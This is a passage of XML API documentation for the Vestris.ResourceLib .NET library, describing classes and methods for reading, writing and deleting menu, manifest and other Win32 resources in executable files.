name=\"M:Vestris.ResourceLib.Kernel32.EndUpdateResource(System.IntPtr,System.Boolean)\">\n            <summary>\n            Commits or discards changes made prior to a call to UpdateResource.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated.</param>\n            <param name=\"fDiscard\">Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect.</param>\n            <returns>Returns TRUE if the function succeeds; FALSE otherwise.</returns>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_NEUTRAL\">\n            <summary>\n            Neutral primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_ENGLISH\">\n            <summary>\n            US-English primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_NEUTRAL\">\n            <summary>\n            Neutral sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_ENGLISH_US\">\n            <summary>\n            US-English sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.CREATEPROCESS_MANIFEST_RESOURCE_ID\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, \n            ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. \n            The process default activation context will be used by all components running in the process. \n            CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has \n            a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the \n            dependency. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_MANIFEST_RESOURCE_ID\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private \n            dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. \n            It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll \n            version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still \n            use the right version of comctl32.dll. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\">\n            <summary>\n            When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW \n            is redefined to IsolationAwareLoadLibraryExW. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ManifestType\">\n            <summary>\n            Resource manifest type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.CreateProcess\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAware\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAwareNonstaticImport\">\n            <summary>\n            ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.MoveMemory(System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.\n            </summary>\n            <param name=\"dest\">A pointer to the starting address of the copied block's destination.</param>\n            <param name=\"src\">A pointer to the starting address of the block of memory to copy.</param>\n            <param name=\"count\">The size of the block of memory to copy, in bytes.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.LoadException\">\n            <summary>\n            A resource load exception.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.OuterException\">\n            <summary>\n            The Win32 exception from a resource enumeration function.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.LoadException.#ctor(System.String,System.Exception,System.Exception)\">\n            <summary>\n            A new resource load exception.\n            </summary>\n            <param name=\"message\">Error message.</param>\n            <param name=\"innerException\">The inner exception thrown within a single resource.</param>\n            <param name=\"outerException\">The outer exception from the Win32 API.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.Message\">\n            <summary>\n            A combined message of the inner and outer exception.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ManifestResource\">\n            <summary>\n            An embedded SxS manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.Manifest\">\n            <summary>\n            Embedded XML manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.ManifestType\">\n            <summary>\n            Manifest type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing embedded manifest resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor\">\n            <summary>\n            A new executable CreateProcess manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            A new executable manifest.\n            </summary>\n            <param name=\"manifestType\">Manifest type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.LoadFrom(System.String,Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            Load a manifest resource from an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n            <param name=\"manifestType\">Manifest resource type.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplate\">\n            <summary>\n            Extended menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu template.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENUEX format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of extended menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemPopup\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.#ctor\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read an extended popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENUEX format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuResource.Menu\">\n            <summary>\n            Menu template.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor\">\n            <summary>\n            A structured menu resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured menu resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a menu resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.ToString\">\n            <summary>\n            String representation of the menu resource in the MENU format.\n            </summary>\n            <returns>String representation of the menu resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplate\">\n            <summary>\n            Standard menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu template to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENU format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateBase\">\n            <summary>\n            A menu template header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template header.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.MenuId\">\n            <summary>\n            Command menu id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Read(System.IntPtr)\">\n            <summary>\n            Read a command menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemPopup\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.#ctor\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read a popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Resource\">\n            <summary>\n            A version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._language\">\n            <summary>\n            Resource language.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hModule\">\n            <summary>\n            Loaded binary nodule.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hResource\">\n            <summary>\n            Pointer to the resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._size\">\n            <summary>\n            Resource size.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Size\">\n            <summary>\n            Version resource size in bytes.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Language\">\n            <summary>\n            Language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.TypeName\">\n            <summary>\n            String representation of the resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor\">\n            <summary>\n            A new resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LockAndReadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Lock and read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) module.\n            </summary>\n            <param name=\"hModule\">An executable (.exe or .dll) module.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a memory stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.WriteAndGetBytes\">\n            <summary>\n            Return resource data.\n            </summary>\n            <returns>Resource data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String)\">\n            <summary>\n            Save a resource.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"langid\">Language id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.DeleteFrom(System.String)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Delete(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Byte[])\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n            <param name=\"data\">Resource data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Save(System.String,System.Collections.Generic.IEnumerable{Vestris.ResourceLib.Resource})\">\n            <summary>\n            Save a batch of resources to a given file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"resources\">The resources to write.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceId\">\n            <summary>\n            A resource Id.\n            There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. \"CUSTOM\").\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.IntPtr)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer or string resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.UInt32)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A well-known resource-type identifier.\n            </summary>\n            <param name=\"value\">A well known resource type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.String)\">\n            <summary>\n            A custom resource identifier.\n            </summary>\n            <param name=\"value\"></param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Id\">\n            <summary>\n            Resource Id.\n            </summary>\n            <remarks>\n            If the resource Id is a string, it will be copied.\n            </remarks>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.TypeName\">\n            <summary>\n            String representation of a resource type name.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.ResourceType\">\n            <summary>\n            An enumerated resource type for built-in resource types only.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource(System.IntPtr)\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n            <param name=\"value\">Resource pointer.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Name\">\n            <summary>\n            Resource Id in a string format.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.ToString\">\n            <summary>\n            String representation of the resource Id.\n            </summary>\n            <returns>Resource name.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.GetHashCode\">\n            <summary>\n            Resource Id hash code. \n            Resource Ids of the same type have the same hash code.\n            </summary>\n            <returns>Resource Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.Equals(System.Object)\">\n            <summary>\n            Compares two resource Ids by value.\n            </summary>\n            <param name=\"obj\">Resource Id.</param>\n            <returns>True if both resource Ids represent the same resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceInfo\">\n            <summary>\n            Resource info manager.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Resources\">\n            <summary>\n            A dictionary of resources, the key is the resource type, eg. \"REGISTRY\" or \"16\" (version).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.ResourceTypes\">\n            <summary>\n            A shortcut for available resource types.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.#ctor\">\n            <summary>\n            A new resource info.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Unload\">\n            <summary>\n            Unload the previously loaded module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Load(System.String)\">\n            <summary>\n            Load an executable or a DLL and read its resources.\n            </summary>\n            <param name=\"filename\">Source filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceTypesImpl(System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource types.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceNamesImpl(System.IntPtr,System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource names within a resource 